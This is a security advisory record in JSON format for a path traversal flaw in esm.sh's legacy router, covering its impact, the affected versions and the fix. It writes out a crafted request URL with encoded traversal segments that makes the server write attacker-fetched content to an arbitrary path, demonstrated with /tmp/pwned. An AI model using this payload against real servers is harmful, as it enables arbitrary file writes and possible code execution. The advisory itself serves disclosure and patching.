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3.7 KiB
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3.7 KiB
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{"schema_version":"1.9.0","id":"GHSA-3636-h3vx-6465","published":"2026-05-12T22:22:39Z","modified":"2026-06-25T18:56:35.298468646Z","aliases":["CVE-2026-44593","GO-2026-5071"],"summary":"esm.sh: Legacy Route Path Traversal Can Lead to RCE","details":"### Impact\n- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` \n(see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.\n\n\n### Details\n\n1. **URL Construction** \n A crafted request is sent to the server:\n ```\n http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n ```\n\n2. **Proxy to Legacy Server** \n The request is forwarded to:\n ```\n http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n ```\n which resolves to:\n ```\n http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md\n ```\n\n3. **File Retrieval** \n The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`.\n\n4. **Path Normalisation & Storage** \n The storage path derived from the request is:\n ```\n legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n ```\n Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result** \n By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team","affected":[{"package":{"name":"github.com/esm-dev/esm.sh","ecosystem":"Go","purl":"pkg:golang/github.com/esm-dev/esm.sh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260508100112-1960055e1d53"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3636-h3vx-6465/GHSA-3636-h3vx-6465.json"}}],"references":[{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44593"},{"type":"PACKAGE","url":"https://github.com/esm-dev/esm.sh"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_3"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-05-12T22:22:39Z","nvd_published_at":"2026-05-28T16:16:24Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}]} |